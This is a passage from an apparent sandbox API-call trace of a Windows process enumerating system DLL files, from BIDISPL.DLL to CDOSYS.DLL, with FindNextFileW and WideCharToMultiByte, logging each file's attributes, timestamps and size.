lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.710] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x94c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0038.710] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.710] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0038.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.711] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.711] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.711] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.711] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.711] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.711] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.711] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.711] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0038.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.712] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.712] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x94c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0038.712] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x94c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0038.712] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.712] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.712] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x94c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0038.712] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.712] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.713] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.713] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.713] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0038.713] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.713] 